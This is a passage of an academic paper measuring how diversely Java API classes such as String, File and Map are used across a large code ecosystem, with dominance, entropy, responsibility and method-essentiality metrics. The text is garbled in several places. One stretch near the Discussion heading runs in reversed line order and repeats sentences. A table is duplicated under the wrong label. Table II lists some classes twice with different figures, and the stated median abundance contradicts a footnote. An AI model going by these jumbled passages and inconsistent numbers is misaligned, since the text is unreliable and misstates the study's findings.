Figure 2 shows the distribution of the abundance and diversity at the level of classes in the ecosystem as boxplots (abundance_{ecosystem}(class) and diversity_{ecosystem}(class) of Table I). The median abundance is 3 (an abundance of 3 means that we have collected 3 type-usage instances for this class). The abundance boxplot shows that across the 382774 classes of our dataset, a large majority are used a small number of times. This is due to the fact that many classes are only used in a single project (Jar file) of the dataset and within this project at most a handful of times.
The boxplot representing the distribution of diversity (second boxplot starting from left) shows that classes have a median number of 3 type-usages³. The upper quartile is 5. In other terms, for 75% of the classes, we observe between 1 and 5 ways of using of the class. However, the data contains many extreme points that are not represented on the boxplot since their order of magnitude dwarves this low diversity.
B. Classes with High Usage Diversity
Let us now concentrate on the upper quartile of the diversity metric, those classes with high usage diversity. In our dataset, there are 748 classes for which we observe more than 100 different type-usages and 48 classes for which we observe
³Note that the maximum diversity of a class is necessarily its abundance in the case where each type-usage specimen is different. It thus makes sense that the median diversity is 3 given a median abundance of 4.
more than 500 type-usages. The extreme case is Java’s String. For this class, we observe 2 460 type-usages (among 394 959 type-usages specimen – instances – of type “String”).
Table II gives the diversity of 30 diverse classes. The first column is diversity_{ecosystem}(class) as defined in III-C. The second column is the number of called methods in the dataset. The columns [TU] = n give the number of type-usages consisting of n method calls (e.g.; there are 69 type-usages of one single method calls for Java’s String).
| Class Name | Diversity | # Methods | |TU|=1 | |TU|=2 | |TU|=3 | |TU|=4 | |TU|=5 | |TU|=6 | |TU|=7 | |TU|=8 |
|--------------------------------|-----------|-----------|---|---|---|---|---|---|---|---|---|---|---|---|
| java.lang.String | 2460 | 69 | 69 | 529 | 638 | 614 | 396 | 145 | 51 | 18 |
| java.io.File | 2166 | 47 | 45 | 373 | 775 | 613 | 264 | 69 | 17 | 10 |
| java.lang.StringBuffer | 1312 | 51 | 41 | 142 | 238 | 316 | 290 | 176 | 83 | 26 |
| java.util.ArrayList | 1236 | 36 | 36 | 179 | 307 | 328 | 236 | 115 | 29 | 6 |
| java.lang.Class | 872 | 62 | 62 | 333 | 286 | 115 | 45 | 18 | 8 | 5 |
| java.util.List | 724 | 31 | 30 | 149 | 235 | 194 | 86 | 23 | 5 | 2 |
| java.lang.StringBuilder | 643 | 44 | 42 | 92 | 139 | 142 | 132 | 63 | 22 | 11 |
| org.eclipse.swt.widgets.Composite | 659 | 227 | 135| 222 | 131 | 86 | 41 | 16 | 4 | 4 |
| javax.swing.JButton | 625 | 143 | 83 | 119 | 141 | 102 | 72 | 43 | 21 | 44 |
| java.swing.JLabel | 570 | 101 | 76 | 145 | 153 | 108 | 47 | 16 | 13 | 12 |
| org.w3c.dom.Element | 534 | 60 | 60 | 198 | 165 | 76 | 19 | 9 | 4 | 3 |
| java.swing.JPanel | 530 | 108 | 77 | 115 | 116 | 112 | 65 | 31 | 12 | 2 |
| org.w3c.dom.Node | 516 | 39 | 38 | 128 | 150 | 95 | 46 | 29 | 18 | 12 |
| java.util.HashMap | 471 | 22 | 20 | 92 | 125 | 123 | 74 | 30 | 6 | 1 |
| org.eclipse.core.resources.IFile | 456 | 68 | 59 | 167 | 120 | 55 | 30 | 12 | 6 | 7 |
| java.util.HashSet | 453 | 23 | 23 | 75 | 134 | 120 | 77 | 19 | 5 | 0 |
| org.eclipse.swt.widgets.Label | 360 | 36 | 34 | 148 | 114 | 43 | 14 | 4 | 2 | 1 |
| org.eclipse.swt.widgets.Label | 312 | 97 | 56 | 83 | 68 | 68 | 23 | 8 | 3 | 3 |
| javax.swing.JScrollPane | 308 | 105 | 73 | 77 | 77 | 45 | 18 | 11 | 4 | 3 |
| javax.swing.JButton | 247 | 157 | 108| 86 | 34 | 9 | 4 | 1 | 2 | 3 |
| org.w3c.dom.Document | 209 | 61 | 56 | 79 | 45 | 17 | 6 | 3 | 2 | 1 |
| org.eclipse.core.runtime.Path | 192 | 48 | 25 | 61 | 62 | 33 | 7 | 4 | 0 | 0 |
| org.eclipse.emf.common.util.EList | 128 | 29 | 29 | 50 | 31 | 10 | 4 | 3 | 1 | 0 |
| org.eclipse.core.runtime(IConfigurationElement) | 119 | 21 | 20 | 31 | 46 | 16 | 5 | 1 | 0 |
| org.osgi.framework.Bundle | 115 | 33 | 33 | 55 | 22 | 4 | 1 | 0 | 0 | 0 |
| org.eclipse.core.runtime.IStatus | 100 | 13 | 12 | 25 | 31 | 17 | 7 | 5 | 3 | 0 |
| org.xml.sax.XMLReader | 100 | 15 | 15 | 20 | 20 | 21 | 13 | 6 | 4 | 1 |
| org.w3c.dom.Attr | 94 | 22 | 19 | 33 | 22 | 14 | 3 | 1 | 1 | 1 |
| org.eclipse.core.resources.IWorkspaceRoot | 88 | 37 | 37 | 39 | 7 | 5 | 0 | 0 | 0 | 0 |
| java.lang.Object | 31 | 10 | 10 | 16 | 5 | 0 | 0 | 0 | 0 | 0 |
TABLE II
The Diversity of 30 Widesely Used API Classes and Their Number of Type-Usages per Size in Number of Method Calls. The columns [TU] = n give the number of type-usages consisting of n method calls (e.g.; there are 69 type-usages of one single method calls for JAVA’S STRING).
C. Type-usage Dominance
Certain object-oriented classes give birth to a large diversity of type-usages. Now we would like to understand the structure of this diversity: are there type-usage that are much more used than the others?
Let us assume that we observe 1000 type-usage instances spread over 100 different type-usages. If 800 of them are of the same type-usage, that would mean that the type-usage diversity is actually dominated by a single one. To characterize this phenomenon, we define the dominance metric (called dom) as follows:
\[ \text{freq}_{\text{ecosystem}}(\text{typeusage}) \]
\[ = \frac{\text{abundance}_{\text{ecosystem}}(\text{typeusage})}{\sum_i \text{abundance}_{\text{ecosystem}}(\text{typeusage}_i)} \]
\[ \text{dom}_{\text{ecosystem}}(\text{class}) \]
\[ = \max_i \{ \text{freq}(\text{class}) | \text{freq}(\text{class}) \} \]
We have computed the type-usage dominance of the 382 774 classes of our dataset. Figure 3 gives the distribution as an
As programmers, we were really surprised by this richness. Why were we surprised? Probably because of the implicit principle of software engineering stating that an abstraction (whether function, class or method) should do one single thing (coined the “Single Responsibility Principle” by Robert Martin [14]). In the perspective of type-usages, this principle reads as: 1) a class should have a small number of methods; 2) all methods should be used in the same way with some small variations. However, in our opinion, having hundreds of type-
Diverse classes have no dominant type-usages. The rest of the distribution contains “dominated” classes \( (\text{dom} > 0.5) \) as well as classes for which there is no observed dominant type-usage \( (\text{low dominance value}, \ e.g. \ \text{dom} < 0.3) \). The latter correspond to classes where there is a real API usage diversity: nonetheless there are many type-usages but all of them are used in equal proportion. Now, let us come back to the high diversity observed for certain classes.
Let us concentrate on those 748 classes for which we have observed more than 100 different type-usages. Are those classes really diverse? Java’s String has a dominance of 0.083, the most frequent type-usage is indeed not dominant. Does this hold for the other very diverse classes as well? The hatched bars of Figure 3 give the dominance distribution of those 750 very diverse classes. Most classes have type-usage dominance lower than 0.2. The largest bin (the tallest hatched bar) corresponds to a dominance in the interval \([0, 0.1]\). For those classes, there is no “standard way” of using the class and the type-usage diversity does not correspond to “exotic variations”.
To further demonstrate this point, Figure 4 plots the diversity and dominance values for each class of the ecosystem. The X axis is the diversity metric, the Y axis is the dominance metric. Each dot is a class. We can clearly see that there is a correlation between diversity and dominance: the more diversity, the less dominance. This confirms the findings on the 748 most diverse classes. Those pieces of evidence converge to state that the API usage diversity we have observed previously is actually a true diversity.
**D. Usage Entropy of Classes**
The dominance metric reflects the skewness of the distribution of the abundance of type-usages. However, it neglects the distribution of the rest of the distribution, the \( 2^{nd} \) most abundant type-usage, the \( 3^{rd} \), etc. To compute the overall skewness, we propose to use Shannon’s entropy. This enables us to deepen our answer to the research question on type-usage dominance.
In ecology, Shannon’s entropy is an established diversity metric \([11]\) (“diversity index” in the ecological terminology). In our context, the entropy formula for type-usages, which we call \( u\text{-entropy} \), reads as follows:
\[
u\text{-entropy}(\text{class}) = -\sum \text{freq}(i) \ln(\text{freq}(i))\]
where the \( i \) are all observed type-usages of a class and \( \text{freq} \) is an abbreviation of \( \text{freq}_{\text{ecosystem}}(\text{typeusage}) \). The entropy is correlated to diversity: the more entropy, the more diversity.
The entropy is maximum when all type-usages are equally distributed (i.e. of equal importance, with no dominance at all). In this case, \( \text{maxentropy}(\text{class}) = -\ln(\text{diversity}_{\text{ecosystem}}(\text{class})) \). This value is the theoretical maximum of the entropy, i.e. the maximum level of diversity. For all classes of the ecosystem, let us draw \( \text{maxentropy}(\text{class}) \) versus \( \text{entropy}(\text{class}) \), in order to see whether the maximum diversity is often approached or not.
Figure 5 is a scatter plot of the \( u\text{-entropy}(\text{class}) \) (X axis on a logarithmic scale) versus \( \ln(\text{diversity}(\text{class})) \) (Y axis), i.e. the maximum theoretical entropy. Those axes represent the two components of what ecologists call “species evenness”. One dot is a class among the 382 774 classes of the ecosystem. The diagonal lines emerging from the points correspond to the theoretical maximum entropy (when the type-usages are uniformly distributed). There are no point for which \( \text{entropy}(\text{class}) > \ln(\text{diversity}(\text{class})) \) for obvious theoretical reasons. The vertical lines at the left-hand side of the figure correspond to all classes with a small number of type-usages (one line is \( \ln(\text{diversity} = 3) \), one line is...
distribution of type-usage abundance does not follow a simple
This means that there is a kind of a “meta-diversity”: the
results.
corresponding source code and this gives us confidence in our
six months, we browsed many extracted type-usages and the
was positive. More generally, during our experiments, for
make sense, 2) they actually appear in code. The answer
usages for classes Map and String to check whether 1) they
extraction software. We carefully browsed the list of type-
reported before, the first thing we did was to check our
A. An Artifact of the Extraction Software?
When we observed this phenomenon that has never been
program that has never been observed before. Before
diversity value (according to metric diversity of Table I). This
corresponds to a vertical line of points. We see that those lines
can be quite high, especially for low values of diversity.
This means that there is a kind of a “meta-diversity”: the
distribution of type-usage abundance does not follow a simple
rule for all classes.
V. DISCUSSION
We have reported in Section IV that there exists classes with
very diverse API usages. This has never been observed before.
Before going further in explaining and exploiting this diversity,
usages, the entropy reflects the skewness of the whole distribu-
tion. Since the points are grouped along the maximum entropy,
with no gap between, this also shows there is a tendency to real
diversity (the type-usages are all used frequently). We would
rephrase it as the API usage diversity is systematic.
Second, let us concentrate on classes which have the same
diversity value (according to metric diversity of Table I). This
corresponds to a vertical line of points. We see that those lines
can be quite high, especially for low values of diversity.
This means that there is a kind of a “meta-diversity”: the
distribution of type-usage abundance does not follow a simple
rule for all classes.
B. Type-usages Result From Combinations of Method Calls
One reason behind this diversity is that type-usages are
combinations of public methods. The second column of Table
II is the number of externally used methods on instances of
those classes (in-class and inherited methods). One sees that all
diverse classes have a large number of methods, and that most
methods appear in atomic type-usage with a single method
call (e.g. for String, there are 69 used methods and 69 type-
usages of size 1). To check whether the usage diversity only
depends on the number of methods for very diverse classes,
we compute the the Spearman correlation between the usage
diversity and the number of public methods. The Spearman
correlation is based on the ranks hence is independent of the
exponential combinations of methods. On the 748 classes, the
Spearman correlation is 0.25, which is low. The Spearman
correlation is composed of numerical comparisons of the ranks
of all pairs of classes. A low value of 0.25 means that there
are many pairs of diverse classes whose diversity and number
of methods go in opposite directions. Indeed there are 40%
of class pairs for which the diversity goes in opposite directions
(less methods but greater diversity). This shows that the usage
diversity is driven by more factors than only the number of
public methods.
C. Objects are Used across Different Methods
Our analysis statically creates type-usages for local vari-
ables, method parameters and fields. If at runtime, an object
is passed from methods to other ones, our analysis would
output several type-usages, while at the runtime object level,
all method calls would be done on the same object. For
instance, let us consider a developer who wants to create a
list, add elements and print them if the list is not empty. For
some reasons, this developer would initialize the list in the
class constructor, declare a new method for adding elements
and at last, define a method that prints the elements and also
checks that the list is not empty. As a result, we would have
3 different type-usages: <init>, <add>, <isEmpty, get>. We
call those type-usages “type-usage fragments”. However, at
the object level, all method calls are done on the same object
and the type-usage would be: <init, add, isEmpty, get>. In
the extreme case, if 10 methods are called in ten different
methods, we would produce 10 type-usages, while there would
be actually one. In such case, our diversity measures would
be artificially 10x too big.
To explore this hypothesis, we propose to study the size
of type usages of a given class. The idea is that if we only
have very small type-usages, our static analysis has probably
only captured small, non atomic type-usage fragments. On
the contrary, if there are large type-usages, the analysis is
able to capture real interactions between methods on the same
variable.
Table II presents the distribution of type-usages per type-
size for the 30 reference classes. Recall that the columns
TU = n give the number of type-usages consisting of n
method calls. Hence, the left-hand side columns contain small
type-usages which are likely to be fragments. For instance,
<table>
<thead>
<tr>
<th>Class</th>
<th>#cc</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Java Collection</td>
<td>2</td>
<td>One connected component (cc) is related to iterating over the elements a collection, the other one is about modifying the collection (adding elements).</td>
</tr>
<tr>
<td>Java Set</td>
<td>2</td>
<td>The same as Collection. This indeed makes sense because Set is a subtype of Collection in Java. This shows that the type-usage lattice reflects the inheritance of contracts.</td>
</tr>
<tr>
<td>Java Properties</td>
<td>2</td>
<td>One cc is related to getting properties (getProperty), the other one to creating properties. Interestingly, the intersection cc clearly contains the 4 main methods for creating property files: load, setProperty, put, putAll).</td>
</tr>
<tr>
<td>Java Class</td>
<td>2</td>
<td>One cc is related to class reflection, the other to array reflection. (In Java, an array is a class, but a special one. In particular, the component type of the array is accessible via a non regular, array-specific reflection method).</td>
</tr>
<tr>
<td>Java Matcher</td>
<td>2</td>
<td>One cc is related to testing the presence of patterns ("match" method), the other one to finding concrete occurrences ("find" method). This corresponds to 2 out of 3 documented responsibilities of the class. The missing official responsibility ("lookingAt") is much less used in practice and consequently does not appear, given our filtering.</td>
</tr>
<tr>
<td>Java Thread</td>
<td>2</td>
<td>One cc is related to starting new threads, the other one is related to manipulating the class loader. Indeed, they are both actual, really different, responsibilities of Java’s “Thread”.</td>
</tr>
<tr>
<td>Java String</td>
<td>2</td>
<td>Both connected components are related to manipulating the string ("substring", "indexOf", etc.). One is structured around "substring", the other cc around "endsWith". This is not meaningful, it is an artifact of this particular threshold.</td>
</tr>
<tr>
<td>W3C Element</td>
<td>3</td>
<td>A class for representing XML nodes. Two connected components are about reading capabilities using methods for instance method and "getLocalName", "getAttribute"), the other one is about writing capabilities with "setAttribute" and "appendChild".</td>
</tr>
</tbody>
</table>
### Table III
<table>
<thead>
<tr>
<th>Method</th>
<th>Essentiality</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>put</td>
<td>0.41</td>
<td>Adds a key-value pair in the map</td>
</tr>
<tr>
<td>get</td>
<td>0.29</td>
<td>Gets the value associated with the key</td>
</tr>
<tr>
<td>entrySet</td>
<td>0.05</td>
<td>Returns the list of key-value pairs for iterating</td>
</tr>
<tr>
<td>getClass</td>
<td>0.0006</td>
<td>Gets the class by introspection (from Object)</td>
</tr>
<tr>
<td>wait</td>
<td>0.0001</td>
<td>Tells the current thread to wait (from Object).</td>
</tr>
<tr>
<td>notifyAll</td>
<td>0.0001</td>
<td>Wakes up waiting threads (from Object).</td>
</tr>
</tbody>
</table>
**VI. Exploiting API Diversity: Reasoning on the Class Semantics using the Type-usage Lattice**
We are now confident that, beyond the empirical noise, there exists a large diversity in API usage for some classes. We now want to transform this observational knowledge into actionable knowledge. In this section, we show that the relation between type-usages can be used as proxy to reason on the class’ semantics. As a result, the designers of a class are provided with feedback on the design, and the users are given pieces of documentation that are rarely present in the official documentation.
#### A. The Lattice of Type-usages
To conduct formal reasoning, we propose to model the type-usages of a given class as a graph. Each type-usage is a node in the graph. The edges should capture the fact that a type-usage is semantically related to another. We model this with a subset relationship. If all the method calls of type-usage $x$ are contained into type-usage $y$, there is an edge from $x$ to $y$. By construction, this yields a lattice, since the subset relationship cannot be cyclic. Hence we refer to as the lattice of type-usages.
For Java’s String (the first row), we observe in our dataset 69 different type-usages of size 1.
So if one discards those small type-usages, do we still have a large diversity of type-usages? The answer is yes. For 21/30 classes, there are more than 50% of type-usages whose size is greater or equal to 3 method calls. Those at least 3 method calls are done on the same variable and likely on the same object. Those results show that our empirical data is noisy and that our static analysis indeed capture type-usage fragments. However, with a conservative assumption that small type-usages are noisy artificial fragments, we still observe a large diversity in API usage.
<table>
<thead>
<tr>
<th>Method</th>
<th>Essentiality</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>put</td>
<td>0.41</td>
<td>Adds a key-value pair in the map</td>
</tr>
<tr>
<td>get</td>
<td>0.29</td>
<td>Gets the value associated with the key</td>
</tr>
<tr>
<td>entrySet</td>
<td>0.05</td>
<td>Returns the list of key-value pairs for iterating</td>
</tr>
<tr>
<td>getClass</td>
<td>0.0006</td>
<td>Gets the class by introspection (from Object)</td>
</tr>
<tr>
<td>wait</td>
<td>0.0001</td>
<td>Tells the current thread to wait (from Object).</td>
</tr>
<tr>
<td>notifyAll</td>
<td>0.0001</td>
<td>Wakes up waiting threads (from Object).</td>
</tr>
</tbody>
</table>
**Table IV**
The most and least essential methods of Java's Map as measured by essentiality(class, method). Not only there is a large diversity of method combinations but there is also a large diversity of method importance.
If one takes into account all type-usages observed in our dataset, the lattice topology is noisy. For instance, a novice developer may have written an exotic non-meaningful type-usage in one of the applications of our dataset. To remove the noise and have more accurate analyses, the lattice is parametrized with a threshold, which is responsible for filtering out the unimportant type-usages. The threshold is set on abundance_{ecosystem}(typeusage): if a type-usage has been observed at least $N$ times, it is represented, otherwise it is discarded. The rationale is that if a type-usage often appears, it is likely that the corresponding code has been written by many different developers in different context hence is meaningful.
3The formal infimum is a type-usage with no method call, the formal supremum is the set of all methods.
Fig. 6. API Diversity Map of “java.lang.Class”. As a piece of documentation, it enables developers to grasp in one glimpse the different responsibilities of the class.
diversity of type-usages relate to this design principle? In this section, we define a metric based on the lattice of type-usages to reason on the responsibilities of a class.
a) Intuition: Our intuition is that the single responsibility principle reflects itself on the type-usage lattice as follows. If a class has one single responsibility, all type-usages are semantically related and the lattice is fully interconnected. If a class has several responsibilities, several groups of semantically-related type-usages emerge, each of them corresponding to a responsibility.
For instance, in the lattice depicted in Figure 6, there are three different separated groups of type-usages that correspond, as we shall see later, to different responsibilities. In classical terms, this can also be seen as a low class cohesion. In other words, we can reason on the class’ semantics by analyzing the topology of the lattice of type-usages.
b) Metric:
\[
\text{responsibilities}(\text{class}, \text{threshold}) = |\text{cc}(|\text{typeusages}(\text{class}))|)
\]
where \( \text{cc} \) is the number of the separated connected components in the undirected version of the type-usage lattice; the \( \text{threshold} \) is the minimum number of type-usage specimen required for a type-usage to be considered in the lattice. The \( \text{threshold} \) enables us to filter the noisy non-semantic type-usages discussed in V-C.
c) Validation: We compute responsibilities for the 748 most diverse classes of our dataset and a threshold of minimum 100 type-usage specimens. We manually analyze all 8 classes for which there are at least two responsibilities. Those classes correspond to the classes that violate the single responsibility principle. The analysis consists of understanding whether the separated groups of type-usages (each group being a connected component) actually correspond to different responsibilities. This is done based on our own experience as Java developer and on carefully reading the corresponding API documentation.
Table III gives the results of this evaluation. For each of the 8 classes with at least 2 responsibilities, we give the number of connected components in the type-usage lattice and the explanation on their meaning. For instance, the type-usage lattice of Java’s interface “Collection” contains 2 connected components: one connected component (cc) is related to iterating over the elements a collection, the other one is about modifying the collection (adding elements). Those two responsibilities make sense according to the API documentation of the class. For “Collection”, metric \( \text{responsibilities}_{\text{ecosystem}} \) is validated.
As shown in Table III, the connected components of 7/8 classes with at least 2 responsibilities make sense and correspond to actual responsibilities. Java’s “String” is again an outlier, given a threshold of 100 type-usage specimen by type-usage, the two emerging connected components do not correspond to clear different responsibilities. Interestingly, the API documentation of Java’s “Matcher” explicitly mentions at the beginning of the class documentation three responsibilities: our metric identifies with no doubt two of them. For the third one, although it was considered as important as the others at the time of designing and documenting the class, it is much less used in practice. Consequently it does not appear in the filtered type-usage lattice.
We could not check whether all the classes in which there is a single connected component have a single responsibility because of the lack of gold standard. This validation shows that the type-usage lattice enables us to reason on the number of responsibilities of the class. The type-usage diversity is a proxy to the class’ semantics.
The diversity of type-usages is actionable, it enables one to reason on the responsibilities of a class.
C. Essentiality of Methods
We leave the level of type-usages and try to reason at the method level directly. We have observed in Section IV-C that not all type-usages are of equal importance. Our goal is to analyze the importance of each method again based on the diversity of type-usages.
We assume that if all methods are of equal importance, then we should find them in similar proportions in type-usages. To reason on this point, we propose the following measure:
\[
\text{essentiality}(\text{class}, \text{meth}) = \frac{|\{\text{tus}|\text{tus} \text{contains} \text{meth}\}|}{\text{abundance}_{\text{ecosystem}}(\text{class})}
\]
where tus refers to “type-usage specimens” and \( \text{meth} \) is an abbreviation for “method”.
The measure \( \text{essentiality} \) is a ratio between 0 and 1. If \( \text{essentiality}(c, m) \) is close to 0, it means that few type-usages contain a call to method \( m \) and that \( m \) is optional. If it is close to 1, it means that most type-usages contain \( m \), hence the method is essential. This measure is the sibling of \( \text{frequency} \) presented in Section IV-C. While \( \text{frequency} \) considers type-usages, essentiality focuses on the granularity of methods.
For instance, Table IV gives the essentiality values of methods of Java’s Map, which represents a key-value dictionary. The measure captures the most important methods of a Map, the ones that contain the essence of the class: \( \text{put} \) adds a key-value pair, \( \text{get} \) retrieves the value associated with a key
passed as parameter, `entrySet` enables one to iterate over all pairs. Similarly, the least important methods come from the root class `Object`, hence are not specific at all with respect to the semantics of the class.
This measure is actionable. Based on this measure, the designer of a class understands what the real usages of methods are. She can compare the empirical importance against the foreseen usages. For instance, the designer of Java’s Matcher envisioned method “lookingAt” as very important and explicitly documented it as such in the API documentation.\(^6\) In practice, less than 1% of all type-usage specimens use this method. Also, the novice user of a class might use this measure for prioritizing the methods she has to learn.
Beyond this practical implication, this measure reflects the diversity of method importance. For all diverse classes of our dataset, the essentiality of methods considerably varies from 0.5 (half of type-usages contain this method) to very small values.
We observe two levels of diversity in API usage, the diversity of method importance (as reflected by essentiality) and the diversity of method combinations (as reflected by the diversity and entropy).
The measure diversity associates a single number to a class. To analyze the measure frequency, we used Shannon’s entropy to summarize the distribution of values for each type-usage of a class. Similarly, we propose to measure the entropy of method essentiality, which we call \(m\)-entropy. If this measure is low, it means that the design of the class relies on a small number of important methods. If it is high, it means that there is a large number of equally important methods.
To some extent, \(m\)-entropy captures the difficulty of learning a class: if it is high, the user of the class must know many methods, if it is low she can productively work with the class by only knowing a couple of methods. Some consider entropy as a measure of surprise. This is exactly along the same line as difficulty of learning: if most type-usages use the same method, they all are variations around the same goal, which is embodied by the method and there is no surprise. On the contrary, a high \(m\)-entropy means that the developer would regularly be surprised by a type-usage that contains a new method and no already known method. For instance, the \(m\)-entropy of Java’s String (the most diverse class of our dataset) is 1.1, which is low compared to other diverse classes. This fits to the experience of Java developers that String is not a class that is complex to understand and use.
Figure 7 shows the distribution of entropy of method essentiality for all the 748 most diverse classes of our dataset. We observe interesting phenomena on this figure. First, there are two modes. There is a pack of classes with an \(m\)-entropy \(\leq 2\). Despite diverse in their method combinations, those classes are easy to learn because they are built one or two central methods. Then, there is a maximum density of classes for classes around \(m\)-entropy = 7. Let us take again a concept from ecology to explain this phenomenon. This tend to show that there is a sweet spot in terms of design, a kind of ecological niche where many classes converge. An open intriguing question is: what does this value of 7 mean? Future work might answer this question by proposing and comparing different generative models of API usage.
Finally, the classes with the maximum \(m\)-entropy culminate at \(m\)-entropy \(\geq 20\). First, many of those classes are generated, and we find in particular many generated parsers. Those classes are not “natural”, and this is reflected in the high artificial \(m\)-entropy. But beyond those outliers, we observe that this average maximum entropy is higher than the entropy of type-usages presented in Section IV-D where the maximum values were around 10.
There are two drivers in entropy computation in discrete spaces: the number of considered elements and the uniformity of the distribution: the entropy is proportional to the number of elements (the number of methods in this case), and to the uniformity (a uniform distribution yields maximum entropy as discussed in IV-D). For all classes under consideration, there are much more type-usages than methods (see Table II). Consequently, since \(m\)-entropy has higher values than \(u\)-entropy, it means that the distribution of essentiality is much more uniform and that methods less dominate the distribution than for type-usages. This indicates that method combinations are not randomly chosen based on the importance of methods but that there is some kind of structure behind the combinations: if methods \(a\) and \(b\) both have an essentiality of 0.3 (they appear in 30% of all type-usage specimens), it does not mean that one observe \(X\) types usages with only \(a\) and \(X\) with only \(b\). Methods \(a\) and \(b\) may frequently occur together and peak as a single dominating type-usage. In this case, this is reflected by \(u\)-entropy higher than \(m\)-entropy.
Intuitively, software design is analyzed with discrete concepts. For instance, the 6 metrics of Chidamber and Kemerer
\(^6\) [http://docs.oracle.com/javase/7/docs/api/java/util/regex/Matcher.html](http://docs.oracle.com/javase/7/docs/api/java/util/regex/Matcher.html)
for analyzing object-oriented design [8] are all discrete. The reason might be that the basic elements of software are either binary or enumerated. However, the analysis we have presented in this section lets us think it makes sense to reason on the design of real classes with a continuous conceptual framework. In real classes, there are dozens of methods, adding or removing methods, even many does not make any significant difference on the design quality as long the design of responsibilities remains consistent. In this case, the number of methods, which is discrete, is less meaningful than the m-entropy. What matters is that the class is still built around one or two clear flagship methods and a very continuous concept using probabilities (entropy) seems to capture this design property.
D. Visual Representation of Usage Diversity
We propose to use the lattice of type-usages as a piece of documentation. An “API diversity map” is a graphical representation of the lattice, laid out so that the largest type-usages (in number of method calls) are at the top and the smallest at the bottom. The filtering threshold on the abundance enables one to tune the size of the API diversity map.
Figure 8 gives the diversity map of Java's StringBuilder. The values for each type-usage correspond to abundance_{ecosystem}(typeusage). StringBuffer is a class used for manipulating strings in an efficient manner.
The threshold on a minimum abundance of 150 specimens per type-usage results in 8 nodes which makes it very readable. The unfiltered noisy lattice would contain diversity(StringBuilder) = 643 different nodes. This map is very layered, due to the semantics of edges (“subset of”). One sees that there is a “master” type-usage in which all common methods of StringBuffer are used (“init” refers to a constructor call). One also sees that some type-usages are more popular than others. For instance, {init, append, toString} appears 2434 in our dataset. For developers who know StringBuilder, this reflects well its different usages. For instance, on one end of the usage spectrum, one often only calls “append” on a StringBuilder passed as parameter. On the other end of the usage spectrum, one uses all main methods of StringBuilder in a same method.
Now consider the diversity map of Java’s “Class” represented in Figure 6, the class handling the reflection of any object (the meta-object is obtained by calling “createClass”). Compared to the diversity map of StringBuilder, we observe that: first the map is divided in three separated trees (the different responsibilities already discussed); second, the top layer of the map is composed of 5 different type-usages. Both phenomena are due to the fact that Java’s “Class” has different responsibilities: creating objects (“newInstance”), proxing the current thread’s class loader (“getClassLoader”), testing instance-of relationships (“isAssignableFrom”), handling Java array special semantics (“isArray”), and subtyping introspection (“getInterfaces, getSuperClass”).
API diversity maps make diversity actionable. Based on the maps we analyzed, they convey in one glimpse the usage spectrum of class. This may be valuable for both the designers and the new users of a class.
VII. DISCUSSION
We have observed a large-scale diversity in the usage of object-oriented classes. To what extent, does this phenomenon impact our software engineering knowledge? In particular, what are the reasons behind this diversity? what are the implications of this diversity? In this section, we speculate about those two points, reasons and implications in order to identify new fruitful research directions.
A. Speculative Reasons of API Diversity
1) Diversity and Cognition: When programming with object oriented APIs, the bulk of the cognitive load consists of remembering identifiers related to tasks (whether package, class or methods). With this respect, remembering one single class name is easier than remembering three of them. If Java's String would have been split in several classes, each one handling one fine-grain responsibility (one subset of type-usages), this would have increased the cognitive load of developers. This argument applies to all classes and is related to research on API usability, in which we have not found studies about diversity. This argument would mean that, in terms of object-oriented API design, there is a trade-off between responsibility decomposition and usability. We think that future research on this point would be of great interest.
2) Diversity and Plasticity: Second, let us define “class plasticity” as the ability of a class to be used in many different ways. Many factors influence the “class plasticity”. First, we have seen that the number of public methods increases the number of possible method call combinations, hence is correlated with the plasticity (although slightly as witnessed by the Spearman coefficient). Second, all kinds of checks have an impact on the plasticity as well. For instance, overly restrictive pre-condition and post-condition checks hinder plasticity. We tend to think that a high usage diversity reflects a high class plasticity.
3) Diversity and Reusability: High usage diversity may correlate with reusability. It can reflect the fact that client code was able to use the class in ways that were unanticipated.
by the class designer. For instance, if one high level method is defined on three sub-routines, providing the subroutines as public would probably provoke unanticipated reuse of those routines, which would consequently increase the class API usage diversity. Having maps of API diversity as proposed in VI-D may guide reuse. With those maps, developers are aware of whether certain type-usages are popular or not and can make informed decisions on how to use a class.
4) Diversity and Immutability: It is to be noted that one can add as many public methods to an immutable object without breaking anything; there are neither state-changing risks nor usage protocol issues. In other terms, an immutable class easily gives birth to a high API usage diversity. Java’s String being immutable, this argument probably contributes to the massive usage diversity we have observed.
5) Diversity and Success: Innovators try to write “successful code”. In a commercial perspective, to make a lot of money; in an open-source perspective, to gather a lot of users. For an object-oriented library, “successful” means having many client pieces code. For a class, “successful” means having many client type-usages across many different software projects. Certain classes of the Java Development Kit are successful, as are classes of external libraries (e.g. the Apache Commons libraries).
How to write successful classes? There is no clear recipe and there are probably many factors influencing the success: technical, social and commercial. However, it is generally accepted that a badly designed class has little chances to survive and become popular.
We have observed many classes that are successful (widely used across a large ecosystem), and that have a large number of public methods as well as a large diversity of possible different usages. Even if those characteristics are sometimes considered as bad design (as a violation of the single responsibility principle aforementioned), they did not prevent those classes to become successful. This holds for JDK classes as well as for non JDK classes (e.g. W3C’s Node). To sum up, according to our results, a high API usage diversity does not prevent success.
We are also tempted to go further: if a class supports a high API usage diversity, it may favor its success. The following section presents arguments in favor of diversity in API design.
B. Speculative Implications of API Diversity
We have just discussed development practices that could explain the emergence of high degrees of usage diversity. In this section we discuss the impact of such diversity on several aspects of software quality.
1) Diversity and Testability: Object-orientation has been a major concern in the software testing community: does it favor or hinder error finding? In particular, increased encapsulation, modularity and coupling issues brought by the object-oriented paradigm led to a large amount of work that discuss the impact on testability [5], [1], [20]. Today, there is no doubt about the utility of object-orientation, and testers have found effective ways to reveal and fix errors in object-oriented code.
However, the observations that we make in this paper seem to raise new questions about testability and maintainability of object-oriented libraries. How to ensure that all possible type-usages are correct? Should there be one test per observed API usage (i.e. 2460 test cases for Java’s String), or even one test per acceptable method call combinations? This highlights a particularly intriguing relation between diversity and oracles, which we would put as diversity and correctness. Does API usage diversity reflect a fuzzier notion of correctness? Does API usage diversity means that we can only have “partial” oracles? This is an open question calling for future research on software testing.
